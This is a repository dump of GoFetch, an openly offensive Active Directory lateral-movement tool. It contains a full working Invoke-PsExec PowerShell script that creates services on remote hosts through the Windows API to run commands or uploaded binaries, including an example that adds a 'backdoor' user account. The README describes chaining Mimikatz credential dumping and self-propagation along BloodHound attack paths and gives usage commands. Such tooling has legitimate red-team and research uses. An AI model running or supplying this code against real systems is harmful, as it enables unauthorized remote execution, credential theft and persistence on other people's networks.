$runPayloadFileName 807 | 808 | } 809 | catch 810 | { 811 | AddDetailsOfException $_.Exception.Message "Failed in AdminTo case, line " $_.InvocationInfo.ScriptLineNumber 812 | WriteResultsToFinalFile $pathOfAttack 813 | } 814 | } 815 | else 816 | { 817 | AddDetailsOfException "Step label is not valid" 818 | WriteResultsToFinalFile $pathOfAttack 819 | } 820 | } 821 | 822 | Main 823 | } 824 | 825 | 826 | if ($PathToGraph) 827 | { 828 | BloodHoundGraphToGoFetchPath -pathToBloodHoundGraph $pathToGraph -pathToOutputGoFetchPath $pathToAttackFile -pathToAdditionalPayload $PathToPayload -pathToGoFetchFolder $rootFolder 829 | } 830 | 831 | Invoke-GoFetch -------------------------------------------------------------------------------- /Invoke-PsExec.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-PsExec { 2 | <# 3 | .SYNOPSIS 4 | 5 | This function is a rough port of Metasploit's psexec functionality. 6 | It utilizes Windows API calls to open up the service manager on 7 | a remote machine, creates/run a service with an associated binary 8 | path or command, and then cleans everything up. 9 | 10 | Either a -Command or a custom -ServiceEXE can be specified. 11 | For -Commands, a -ResultsFile can also be specified to retrieve the 12 | results of the executed command. 13 | 14 | Adapted from MSF's version (see links). 15 | 16 | Author: @harmj0y 17 | License: BSD 3-Clause 18 | 19 | .PARAMETER ComputerName 20 | 21 | ComputerName to run the command on. 22 | 23 | .PARAMETER Command 24 | 25 | Binary path (or Windows command) to execute. 26 | 27 | .PARAMETER ServiceName 28 | 29 | The name of the service to create, defaults to "TestSVC" 30 | 31 | .PARAMETER ResultFile 32 | 33 | Switch. If you want results from your command, specify this flag. 34 | Name of the file to write the results to locally, defaults to 35 | copying in the temporary result file to the local location. 36 | 37 | .PARAMETER ServiceEXE 38 | 39 | Local service binary to upload/execute on the remote host 40 | (instead of a command to execute). 41 | 42 | .PARAMETER NoCleanup 43 | 44 | Don't remove the service after starting it (for ServiceEXEs). 45 | 46 | .EXAMPLE 47 | 48 | PS C:\> Invoke-PsExec -ComputerName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32 49 | 50 | Creates a user named backdoor on the 192.168.50.200 host, with the 51 | temporary service being named 'Updater32'. 52 | 53 | .EXAMPLE 54 | 55 | PS C:\> Invoke-PsExec -ComputerName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt" 56 | 57 | Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32', 58 | and copies the result file to "results.txt" on the local path. 59 | 60 | .EXAMPLE 61 | 62 | PS C:\> Invoke-PsExec -ComputerName 192.168.50.200 -ServiceName Updater32 -ServiceEXE "service.exe" 63 | 64 | Uploads "service.exe" to the remote host, registers/starts it as a service with name 65 | 'Updater32', and removes the service/binary after it runs (or fails to respond w/in 30 seconds). 66 | 67 | .LINK 68 | 69 | https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb 70 | https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb 71 | #> 72 | [CmdletBinding()] 73 | param( 74 | [Parameter(Mandatory = $True)] 75 | [String] 76 | $ComputerName, 77 | 78 | [String] 79 | $Command, 80 | 81 | [String] 82 | $ServiceName = "TestSVC", 83 | 84 | [String] 85 | $ResultFile, 86 | 87 | [String] 88 | $ServiceEXE, 89 | 90 | [switch] 91 | $NoCleanup 92 | ) 93 | 94 | $ErrorActionPreference = "Stop" 95 | 96 | # http://stackingcode.com/blog/2011/10/27/quick-random-string 97 | function Local:Get-RandomString 98 | { 99 | param ( 100 | [int]$Length = 12 101 | ) 102 | $set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray() 103 | $result = "" 104 | for ($x = 0; $x -lt $Length; $x++) { 105 | $result += $set | Get-Random 106 | } 107 | $result 108 | } 109 | 110 | # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html 111 | function Local:Get-DelegateType 112 | { 113 | Param 114 | ( 115 | [OutputType([Type])] 116 | 117 | [Parameter( Position = 0)] 118 | [Type[]] 119 | $Parameters = (New-Object Type[](0)), 120 | 121 | [Parameter( Position = 1 )] 122 | [Type] 123 | $ReturnType = [Void] 124 | ) 125 | 126 | $Domain = [AppDomain]::CurrentDomain 127 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 128 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 129 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 130 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 131 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) 132 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') 133 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) 134 | $MethodBuilder.SetImplementationFlags('Runtime, Managed') 135 | 136 | Write-Output $TypeBuilder.CreateType() 137 | } 138 | 139 | # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html 140 | function Local:Get-ProcAddress 141 | { 142 | Param 143 | ( 144 | [OutputType([IntPtr])] 145 | 146 | [Parameter( Position = 0, Mandatory = $True )] 147 | [String] 148 | $Module, 149 | 150 | [Parameter( Position = 1, Mandatory = $True )] 151 | [String] 152 | $Procedure 153 | ) 154 | 155 | # Get a reference to System.dll in the GAC 156 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | 157 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } 158 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') 159 | # Get a reference to the GetModuleHandle and GetProcAddress methods 160 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') 161 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') 162 | # Get a handle to the module specified 163 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) 164 | $tmpPtr = New-Object IntPtr 165 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) 166 | 167 | # Return the address of the function 168 | Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) 169 | } 170 | 171 | 172 | function Local:Invoke-PsExecCmd 173 | { 174 | param( 175 | [Parameter(Mandatory = $True)] 176 | [String] 177 | $ComputerName, 178 | 179 | [Parameter(Mandatory = $True)] 180 | [String] 181 | $Command, 182 | 183 | [String] 184 | $ServiceName = "TestSVC", 185 | 186 | [switch] 187 | $NoCleanup 188 | ) 189 | 190 | # Declare/setup all the needed API function 191 | # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html 192 | $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle 193 | $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) 194 | $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) 195 | 196 | $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA 197 | $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) 198 | $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) 199 | 200 | $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA 201 | $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) 202 | $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) 203 | 204 | $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA 205 | $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) 206 | $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) 207 | 208 | $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA 209 | $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) 210 | $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) 211 | 212 | $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService 213 | $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) 214 | $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) 215 | 216 | $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError 217 | $GetLastErrorDelegate = Get-DelegateType @() ([Int]) 218 | $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) 219 | 220 | # Step 1 - OpenSCManager() 221 | # 0xF003F = SC_MANAGER_ALL_ACCESS 222 | # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx 223 | # "[*] Opening service manager" 224 | $ManagerHandle = $OpenSCManagerA.Invoke("\\$ComputerName", "ServicesActive", 0xF003F) 225 | # Write-Verbose "[*] Service manager handle: $ManagerHandle" 226 | 227 | # if we get a non-zero handle back, everything was successful 228 | if ($ManagerHandle -and ($ManagerHandle -ne 0)){ 229 | 230 | # Step 2 - CreateService() 231 | # 0xF003F = SC_MANAGER_ALL_ACCESS 232 | # 0x10 = SERVICE_WIN32_OWN_PROCESS 233 | # 0x3 = SERVICE_DEMAND_START 234 | # 0x1 = SERVICE_ERROR_NORMAL 235 | # "[*] Creating new service: '$ServiceName'" 236 | $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) 237 | # Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle" 238 | 239 | if ($ServiceHandle -and ($ServiceHandle -ne 0)){ 240 | 241 | # Write-Verbose "[*] Service successfully created" 242 | 243 | # Step 3 - CloseServiceHandle() for the service handle 244 | # "[*] Closing service handle" 245 | $t = $CloseServiceHandle.Invoke($ServiceHandle) 246 | 247 | # Step 4 - OpenService() 248 | # "[*] Opening the service '$ServiceName'" 249 | $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) 250 | # Write-Verbose "[*] OpenServiceA handle: $ServiceHandle" 251 | 252 | if ($ServiceHandle -and ($ServiceHandle -ne 0)){ 253 | 254 | # Step 5 - StartService() 255 | # "[*] Starting the service" 256 | $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) 257 | 258 | # if we successfully started the service, let it breathe and then delete it 259 | if ($val -ne 0){ 260 | # Write-Verbose "[*] Service successfully started" 261 | # breathe for a second 262 | Start-Sleep -s 1 263 | } 264 | else{ 265 | # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx 266 | $err = $GetLastError.Invoke() 267 | if ($err -eq 1053){ 268 | # Write-Warning "[*] Command didn't respond to start" 269 | } 270 | else{ 271 | # Write-Warning "[!] StartService failed, LastError: $err" 272 | "[!] StartService failed, LastError: $err" 273 | } 274 | # breathe for a second 275 | Start-Sleep -s 1 276 | } 277 | 278 | if (-not $NoCleanup) { 279 | # start cleanup 280 | # Step 6 - DeleteService() 281 | # "[*] Deleting the service '$ServiceName'" 282 | $val = $DeleteService.invoke($ServiceHandle) 283 | 284 | if ($val -eq 0){ 285 | # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx 286 | $err = $GetLastError.Invoke() 287 | # Write-Warning "[!] DeleteService failed, LastError: $err" 288 | } 289 | else{ 290 | # Write-Verbose "[*] Service successfully deleted" 291 | } 292 | } 293 | 294 | # Step 7 - CloseServiceHandle() for the service handle 295 | # "[*] Closing the service handle" 296 | $val = $CloseServiceHandle.Invoke($ServiceHandle) 297 | # Write-Verbose "[*] Service handle closed off" 298 | 299 | } 300 | else{ 301 | # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx 302 | $err = $GetLastError.Invoke() 303 | # Write-Warning "[!] OpenServiceA failed, LastError: $err" 304 | "[!] OpenServiceA failed, LastError: $err" 305 | } 306 | } 307 | 308 | else{ 309 | # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx 310 | $err = $GetLastError.Invoke() 311 | # Write-Warning "[!] CreateService failed, LastError: $err" 312 | "[!] CreateService failed, LastError: $err" 313 | } 314 | 315 | # final cleanup - close off the manager handle 316 | # "[*] Closing the manager handle" 317 | $t = $CloseServiceHandle.Invoke($ManagerHandle) 318 | } 319 | else{ 320 | # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx 321 | $err = $GetLastError.Invoke() 322 | # Write-Warning "[!] OpenSCManager failed, LastError: $err" 323 | "[!] OpenSCManager failed, LastError: $err" 324 | } 325 | } 326 | 327 | if ($Command -and ($Command -ne "")) { 328 | 329 | if ($ResultFile -and ($ResultFile -ne "")) { 330 | # if we want to retrieve results from the invoked command 331 | 332 | # randomized temp files 333 | $TempText = $(Get-RandomString) + ".txt" 334 | $TempBat = $(Get-RandomString) + ".bat" 335 | 336 | # command to invoke to pipe to temp output files 337 | $cmd = "%COMSPEC% /C echo $Command ^> %systemroot%\Temp\$TempText > %systemroot%\Temp\$TempBat & %COMSPEC% /C start %COMSPEC% /C %systemroot%\Temp\$TempBat" 338 | 339 | # Write-Verbose "PsEexec results command: $cmd" 340 | 341 | try { 342 | # invoke the command specified 343 | "[*] Executing command and retrieving results: '$Command'" 344 | Invoke-PsExecCmd -ComputerName $ComputerName -Command $cmd -ServiceName $ServiceName 345 | 346 | # retrieve the result file for the command 347 | $RemoteResultFile = "\\$ComputerName\Admin$\Temp\$TempText" 348 | "[*] Copying result file $RemoteResultFile to '$ResultFile'" 349 | Copy-Item -Force -Path $RemoteResultFile -Destination $ResultFile 350 | 351 | # clean up the .txt and .bat files 352 | # Write-Verbose "[*] Removing $RemoteResultFile" 353 | Remove-Item -Force $RemoteResultFile 354 | 355 | # Write-Verbose "[*] Removing \\$ComputerName\Admin$\Temp\$TempBat" 356 | Remove-Item -Force "\\$ComputerName\Admin$\Temp\$TempBat" 357 | } 358 | catch { 359 | # Write-Warning "Error: $_" 360 | "Error: $_" 361 | } 362 | } 363 | 364 | else { 365 | # if we're executing a plain command w/o needing results 366 | # "[*] Executing command: '$Command'" 367 | Invoke-PsExecCmd -ComputerName $ComputerName -Command $Command -ServiceName $ServiceName 368 | } 369 | 370 | } 371 | 372 | elseif ($ServiceEXE -and ($ServiceEXE -ne "")) { 373 | # if we're using a custom .EXE for the PsExec call 374 | 375 | # upload the local service .EXE to the remote host 376 | $RemoteUploadPath = "\\$ComputerName\Admin$\$ServiceEXE" 377 | "[*] Copying service binary $ServiceEXE to '$RemoteUploadPath'" 378 | Copy-Item -Force -Path $ServiceEXE -Destination $RemoteUploadPath 379 | 380 | if(-not $NoCleanup) { 381 | # trigger the remote executable and cleanup after 382 | "[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and cleaning up." 383 | Invoke-PsExecCmd -ComputerName $ComputerName -Command $RemoteUploadPath -ServiceName $ServiceName 384 | 385 | # remove the remote service .EXE 386 | "[*] Removing the remote service .EXE '$RemoteUploadPath'" 387 | Remove-Item -Path $RemoteUploadPath -Force 388 | } 389 | else { 390 | # upload/register the executable and don't clean up 391 | "[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and not cleaning up." 392 | Invoke-PsExecCmd -ComputerName $ComputerName -Command $RemoteUploadPath -ServiceName $ServiceName -NoCleanup 393 | } 394 | } 395 | 396 | else { 397 | # error catching 398 | # Write-Warning "'-Command' or '-ServiceEXE' must be specified." 399 | } 400 | } 401 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | ---------------------------------------------------------------------------------------------------------------------- 2 | START OF LICENSE 3 | 4 | Invoke-GoFetch 5 | Copyright (c) 2015, Tal Maor 6 | All rights reserved. 7 | 8 | MIT License 9 | 10 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 15 | 16 | ---------------------------------------------------------------------------------------------------------------------- 17 | 18 | PowerSploit 19 | Copyright (c) 2012, Matthew Graeber 20 | All rights reserved. 21 | 22 | Invoke-PsExec 23 | Copyright (c) 2015, Will Schroeder 24 | All rights reserved. 25 | 26 | BSD License 27 | 28 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 29 | 30 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 31 | 32 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 33 | 34 | 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 35 | 36 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 37 | 38 | 39 | ---------------------------------------------------------------------------------------------------------------------- 40 | 41 | Mimikatz 42 | 43 | https://github.com/gentilkiwi/mimikatz 44 | 45 | Licensed under Creative Commons Attribution License 4.0 46 | 47 | https://creativecommons.org/licenses/by/4.0/ 48 | 49 | ---------------------------------------------------------------------------------------------------------------------- 50 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GoFetch 2 | 3 | GoFetch is a tool to automatically exercise an attack plan generated by the [BloodHound](https://github.com/BloodHoundAD/BloodHound) application. 4 | 5 | GoFetch first loads a path of local admin users and computers generated by BloodHound and converts it to its own attack plan format. Once the attack plan is ready, GoFetch advances towards the destination according to plan step by step, by successively applying remote code execution techniques and compromising credentials with Mimikatz. 6 | 7 | [Watch Invoke-GoFetch in action](https://youtu.be/5SpDAxUx7Uk) 8 | 9 | 10 | #### GoFetch has two different versions: 11 | 12 | ##### Chain reaction: 13 | Invoke-GoFetch (written in PowerShell to avoid Python installation prereq), implements a recursion that reads the full path, dumps the relevant credentials with Invoke-Mimikatz, and then copy and execute itself using Invoke-PsExec on the next relevant machine guided by the network path. 14 | 15 | ##### One computer to rule them all: 16 | Python based code ([a video of this version demonstrated at BlackHat Europe 2016](https://www.youtube.com/watch?v=dPsLVE0R1Tg)), using a technique where one centralized computer is doing the job of connecting to each computer in the path, in the right order, to steal credentials (using Mimikatz), and use them to connect to the next machine in the path. 17 | 18 | ## Getting started with Invoke-GoFetch 19 | 20 | Place GoFetch folder on the first machine of the attack path, in a session of the first user. 21 | 22 | ### Parameters 23 | 24 | * -PathToGraph - 25 | Path to the BloodHound exported Graph which includes a path between two users. 26 | 27 | * -PathToPayload (optional) - 28 | Path to local payload file .exe/.bat/.ps1 to run on next nodes in the path. 29 | 30 | ### Examples 31 | * Usage to get the credentials along the path: 32 | ``` 33 | .\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json 34 | ``` 35 | * Usage to get the credentails along the path and execute additional payload on each: 36 | ``` 37 | .\Invoke-GoFetch.ps1 -PathToGraph .\graphExample.json -PathToPayload .\payload.exe 38 | ``` 39 | 40 | ### Prerequisites 41 | 42 | * Invoke-GoFetch is able to run from any version of Windows through Windows 7 that has PowerShell v2 or higher installed and .Net 3.5 or higher. 43 | * Invoke-Mimikatz - is included with a change in the Mimikatz DLL which allows the execution of the PowerShell file with additional arguments. 44 | * Invoke-Psexec - is included without changes. 45 | 46 | ## Logic 47 | 48 | ![Alt text](https://cloud.githubusercontent.com/assets/27280621/26783367/770afb40-4a00-11e7-8dc1-d45919d0b551.JPG "Invoke-GoFetch Logic") 49 | 50 | ## Contributers 51 | * [Itai Grady](https://twitter.com/ItaiGrady) - *Changes in Mimikatz DLL & C.R* 52 | * [Man Nguyen (usrid0)]() - *Testing & Demo Video* 53 | * [Tal Be'ery](https://twitter.com/TalBeerySec) - *Name & Original Idea* 54 | * [Dan Mor](https://twitter.com/danmor84) - *Logo* 55 | * [Tal Maor](https://twitter.com/TaltheMaor) - *Code* 56 | 57 | See also the list of [contributors](https://github.com/GoFetchAD/GoFetch/graphs/contributors) who participated in this project. 58 | 59 | ## Acknowledgments 60 | Thanks for great tools that reminds us every day to secure our machines. 61 | * [BloodHound](https://github.com/BloodHoundAD/BloodHound) - developed by [@_wald0](https://www.twitter.com/_wald0), [@CptJesus](https://twitter.com/CptJesus), and [@harmj0y](https://twitter.com/harmj0y). 62 | * [Invoke-Mimikatz](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1) - [@JosephBialek](https://twitter.com/JosephBialek) 63 | * [Mimikatz](https://github.com/gentilkiwi/mimikatz) - [@gentilkiwi](https://twitter.com/gentilkiwi) 64 | * [Invoke-PsExec](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-PsExec.ps1) - [@harmj0y](https://twitter.com/harmj0y) 65 | 66 | ## License 67 | 68 | This project is licensed under the MIT License - see the [LICENSE.md](LICENSE.md) file for details 69 | --------------------------------------------------------------------------------